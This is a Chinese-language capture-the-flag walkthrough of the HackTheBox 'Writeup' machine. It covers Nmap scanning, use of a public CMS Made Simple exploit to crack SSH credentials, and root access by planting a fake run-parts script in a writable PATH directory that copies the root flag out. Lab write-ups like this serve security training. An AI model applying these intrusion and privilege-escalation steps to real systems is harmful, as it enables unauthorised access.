這篇文章描述了在HackTheBox Writeup機器中查找用戶和root flags的程序,因此,一如既往地從Nmap掃描開始,以發現正在運行的服務,
# Nmap 7.70 scan initiated Tue Jun 25 12:42:32 2019 as: nmap -p- -O -sV -oN scan.txt 10.10.10.138
Nmap scan report for ip-10-10-10-138.eu-west-2.compute.internal (10.10.10.138)
Host is up (0.016s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 25 12:44:27 2019 -- 1 IP address (1 host up) scanned in 115.24 seconds
從輸出中我們可以看到,這是一臺Linux計算機,在埠80上運行Apache Web服務器,在埠22上運行OpenSSH,我首先瀏覽到Web服務器,并在其中看到以下頁面:

該頁面上沒有任何其他鏈接,我瀏覽到robots.txt,其中顯示了以下內容:
# __
# _(\ |@@|
# (__/\__ \--/ __
# \___|----| | __
# \ }{ /\ )_ / _\
# /\__/\ \__O (__
# (--/\--) \__/
# _)( )(_
# `---''---`
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
如您所見,它們不允許爬網到名為writeup的目錄,因此,我瀏覽了發現更多內容的writeup目錄,

如果您查看此頁面的源代碼,則可以在頂部找到使用CMS Made Simple軟體生成的頁面,
<base href="http://10.10.10.138/writeup/" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
網站上的所有頁面看起來都是其他CTF的文字,您可以通過瀏覽到/ admin目錄來訪問管理面板,但是,這需要身份驗證,我們目前沒有任何憑據,嘗試強行登錄此頁面將導致您的IP被阻止幾分鐘,因此,強行強制此頁面不可行,
我在網上搜索了一些可用于CMS輕松使用的漏洞利用程式,并在exploit-db上找到了以下代碼,
我下載并運行了python檔案,將其指向CMS制作的簡單網站和一個用于破解密碼的單詞表,懸停5分鐘后,輸出將為您提供從密碼串列中找到的用戶名,電子郵件和破解密碼,您可以從下面的命令中看到部分輸出:
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeupm-
[*] Try: 2$
我嘗試對SSH會話使用python腳本找到的用戶名和密碼,這使我能夠以標準用戶身份成功登錄計算機并捕獲用戶標志,
root@kali:~/Documents/writeup# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul 3 10:02:34 2019 from 10.10.13.246
jkr@writeup:~$ ls
user.txt
jkr@writeup:~$ cat user.txt
[REDACTED]
下一步是嘗試避免特權成為root用戶,我將PSPY64下載到計算機上,這使您無需root用戶即可查看計算機上運行的本地行程,它還顯示了可能已經生成了幾秒鐘的行程,使您可以了解軟體運行時計算機上正在發生的情況的歷史記錄,
我在查看PSPY64的輸出時注意到,每次用戶通過SSH連接到計算機時,都會運行一個腳本,該腳本一旦登錄便在MOTD中顯示有關計算機的詳細資訊,
2019/07/03 09:51:54 CMD: UID=102 PID=8198 | sshd: [accepted]
2019/07/03 09:51:56 CMD: UID=0 PID=8199 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/07/03 09:51:56 CMD: UID=0 PID=8200 | /bin/sh /usr/local/sbin/run-parts --lsbsysinit /etc/update-motd.d
2019/07/03 09:51:56 CMD: UID=0 PID=8201 | ls /root/
2019/07/03 09:51:56 CMD: UID=0 PID=8202 | sshd: jkr [priv]
2019/07/03 09:51:56 CMD: UID=1000 PID=8203 | sshd: jkr@pts/7
從輸出中可以看到,/ etc / update-motd.d是使用稱為run-parts的某些軟體運行的,它以UID為0的root用戶身份運行,在執行run-parts之前,還將設定PATH環境變數,如果我們要創建自己的腳本,稱為運行部件,然后將其存盤在另一個PATH中,然后在發現合法的運行部件可執行檔案之前對其進行檢查,則我們應該能夠以root用戶身份運行自己的代碼,
在運行部件執行之前,將設定以下PATH變數,
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
碰巧的是/ usr / local / sbin具有作為標準用戶的寫訪問權限,我在/ usr / local / sbin中創建了一個名為run parts的檔案,其內容如下:
cat /root/root.txt > /tmp/f.txt
這將在/root/root.txt中檢索root標志的輸出,并將其通過管道傳輸到/tmp/f.txt,標準用戶帳戶可以在其中訪問該檔案,
然后,我將該檔案設為可執行檔案:
jkr@writeup:/usr/local/sbin$ chmod +x run-parts
然后,我在另一個視窗中通過SSH登錄,以執行我的自定義運行部件腳本,登錄后,我檢查了/ tmp檔案夾,其中存在一個名為f.txt的檔案,里面是根標志:
jkr@writeup:/tmp$ cat f.txt
[REDACTED]
關注:Hunter網路安全 獲取更多資訊
網站:bbs.kylzrv.com
CTF團隊:Hunter網路安全
文章:Xtrato
排版:Hunter-匿名者
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/236024.html
標籤:AI
